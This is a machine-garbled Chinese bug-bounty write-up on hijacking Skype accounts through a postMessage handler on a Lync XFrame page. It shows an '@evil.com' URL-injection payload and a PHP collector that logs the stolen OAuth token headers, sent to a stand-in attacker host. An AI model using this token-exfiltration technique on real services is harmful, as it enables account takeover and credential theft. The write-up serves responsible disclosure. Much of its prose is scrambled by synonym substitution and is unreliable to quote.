|
|
|
联系客服020-83701501

bug bounty – 绕过限制劫持Skype账号

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
bug bounty 211; 绕过限制劫持Skype账号 版权申明:本文为博主原创文章,未经博主赞成不得转载。 0x00 序言 在垄断outlook的历程中,我意外发清楚明明一个URL:https://webdir.xxx.lync.com/xframe。并在这个页面中发清楚明明一处监听message工夫的监听器。 bug bounty - 绕过限制劫持Skpe账号 经由涉猎代码,发明历程如下: (1)承受外界的message,抽存入URL,type(相同于co妹妹and指令),以及一些data、header等。 (2)用这个message中的动静组建一个request器械,并调用了sendRequest体例挨次发送乞求。 (3)这些还不足,居然还将http相应体经由postMessage(data, 220;*221;)发送了出来。 是以,我们梗概发送一个恶意的message,而且拿到这个域下乞求的前去体,是不是一种“跨域http乞求”呢? 于是高兴愿意地去关照给MSRC,前因等了将近一周,被见知,这个webdir.online.lync.com域下是一个公用的域,之以是多么规划是因为任何人都梗概访问,于是MSRC说这锅他们哪里那边的产品线不想背,给我一周的工夫去证实梗概得到飞快数据,否则就要封闭这个issue。 但是直觉呈报我,这个遵从并不是针对全部用户的,没人会从一个毫无相干的微软的域轮廓发送乞求并得到html页面,纵然有接口是落莫给开辟者的,也不会用到这么迂回的前端交互,是以我管理深刻研究一下。 0x01 深刻摸索 很多时分,挖不到洞的起因即是没有深刻研究,是以这次筹办经受解析一下营业逻辑,寻找问题。 Google搜索了一下这个域名,原来是一个skype的API地址域,但是从Outlook轮廓看这些API的举动,必须要header带上Access Token妙技格式过认证,譬喻多么:

bug bounty - 绕过限制劫持Skpe账号

是以,产品线的乞请是有其事理的,假如不带上这个header去访问该域下的任何path,理论上都是401梗概403过错,是以仅仅提交以前的关照是不成能拿到bounty的。 再去看outlook中交互的Network动静,发明这个Access Token是用OAuth2认证下发的,这跟以前某厂的落莫OAuth裂缝的场景有些相通,即access token经由一个三方域postMessage出来,从以往的经验来看这种实现底子都会有些问题。

bug bounty - 绕过限制劫持Skpe账号

从网络交互梗概看到,这个XFrame.html理论上是用来接管Oauth2.0认证凋射后下发的access token,形式是加添到URL的hash上。此后深刻涉猎XFrame.html中嵌入的JS代码,发明在sendRequest的时分假如发明hash上有这些动静时,会拼接到header发送进来:

bug bounty - 绕过限制劫持Skpe账号

那么问题来了————如何盗取一个域ajax乞求中关照的某个header动静?由于SOP策略的限制,这几近是不成能的。 持续看代码,发清楚明明一句话:

Default
12 if (!isTrusted(request.url))request.url = (location.origin || location.protocol + '//' + location.hostname + (location.port ? ':' + location.port : '')) + extractUrlPath(request.url);

假如发明乞求的url不是相信域,那么要拼接成相信域的path。request.url是从message中得到的,是以我们是可控的,注意,这里拼接URL的时分,hostname后背并无用221;/221;终止限制,那么我们梗概垄断@终止跳转,提交“@evil.com/exploitcat/test.php”,request.url就变成了: https://webdir.online.lync.com@evil.com/exploitcat/test.php. 这里在ajax乞求的时分理论上就跳转到evil.com这个域下去。 但我们都晓得,A域下的ajax去乞求B域的形式,只管是一种跨域的ajax乞求,但是乞求是梗概发进来的,在Chrome下是垄断OPTIONS体例挨次去乞求一次,是以并不能得到response的形式,因为毕竟有同源策略限制,这个好体会。但是可否在这次OPTIONS乞求中带上自界说的一些header呢?颠末测试并不成行。 实在用CORS去跨域便可,因为我想从lync.com发出的链接中得到这个关照access token的header动静,跳转的PHP文件就担任收集这个header。如何让A域乞求赴任距域的形式,设置CORS为*就好了。 但是这里遇到一个坑,假如A域关照了自界说的header,就会报错:

bug bounty - 绕过限制劫持Skpe账号

报错动静为: Default
1 XMLHttpRequest cannot load https://evil.com/exploitcat/test.php. Request header field X-Ms-Origin is not allowed by Access-Control-Allow-Headers in preflight response.
加之Access-Control-Allow-Headers这个头便可,这个头表示就事器承受客户端自界说的headers。将全部A域界说的自界说header列入到这个header字段里便可。 以是test.php的形式为:

Default
123456 <?phpheader("Access-Control-Allow-Origin: *") ;header("Access-Control-Allow-Headers: Authorization, X-Ms-Origin, Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With") ;ini_set('display_errors','On');file_put_contents('/tmp/res.txt', print_r(getallheaders(),1)) ;?>

该文件用于得到乞求的全部header并糊口生涯在/tmp/res.txt中。 进击历程大抵如下: (1)在进击者管制的页面中确立一个iframe,src设置为https://login.windows.net/co妹妹on/oauth2/authorize?xxxxxxxxx, 让用户去访问。在用户登录态下,这个OAuth2.0认证历程凋射,并将access token发送到这个URL:https://webdir.online.lync.com#accesstoken=xxxxxxxxxxxx. (2)当iframe加载完成后,变成了https://webdir.online.lync.com#accesstoken=xxxxxxxxxxxx,我们开始发送恶意的message,大抵如下: data = {220;data221;: 220;221;, 220;type221;: 220;GET:22221;, 220;url221;: 220;@evil.com/exploitcat/test.php221;} ; 依据后面的解析,由于不准确的URL拼接,sendRequest将关照着采集access token的header发送到https://webdir.online.lync.com@evil.com/exploitcat/test.php下面,理论跳转到了https://evil.com/exploitcat/test.php 上。 (3)浏览器带着这个飞快的token发送到了test.php上,我们就收到了这个token。

bug bounty - 绕过限制劫持Skpe账号

0x02 Timeline 03-01 211; 关照给MSRC 03-09 211; MSRC反应原有关照需求持续深刻,乞请要拿到飞快数据 03-09 211; 从新提交了关照 03-11 211; MSRC反应其产品线已复现问题,正在修复 05-03 211; 收到bounty $5500 ? 【via@隐形人真忙】

数安新闻+更多

证书相关+更多